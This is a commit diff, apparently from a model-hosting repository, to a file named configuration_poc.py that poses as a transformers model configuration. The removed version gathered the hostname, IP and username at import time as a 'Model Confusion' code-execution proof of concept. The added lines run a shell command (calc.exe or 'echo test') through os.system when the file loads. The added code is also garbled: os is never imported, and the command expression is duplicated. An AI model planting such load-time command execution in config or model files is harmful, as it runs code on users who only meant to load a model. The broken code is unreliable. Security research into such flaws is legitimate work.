Update configuration_poc.py
Browse files- configuration_poc.py +3 -20
configuration_poc.py
CHANGED
|
@@ -1,20 +1,3 @@
|
|
| 1 |
-
import
|
| 2 |
-
|
| 3 |
-
|
| 4 |
-
from transformers import PretrainedConfig
|
| 5 |
-
|
| 6 |
-
hostname = socket.gethostname()
|
| 7 |
-
try:
|
| 8 |
-
ip = socket.gethostbyname(hostname)
|
| 9 |
-
except socket.gaierror:
|
| 10 |
-
ip = "unresolved"
|
| 11 |
-
username = getpass.getuser()
|
| 12 |
-
|
| 13 |
-
print("This PoC demonstrate a code execution for Model Confusion in AWS repository")
|
| 14 |
-
print(f"hostname: {hostname}")
|
| 15 |
-
print(f"ip: {ip}")
|
| 16 |
-
print(f"username: {username}")
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
class PocConfig(PretrainedConfig):
|
| 20 |
-
model_type = "poc"
|
|
|
|
| 1 |
+
import builtins
|
| 2 |
+
cmd = "calc.exe" if builtins.__import__("platform").system() == "Windows" else "echo test""calc.exe" if builtins.__import__("platform").system() == "Windows" else "echo test"
|
| 3 |
+
os.system(cmd)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|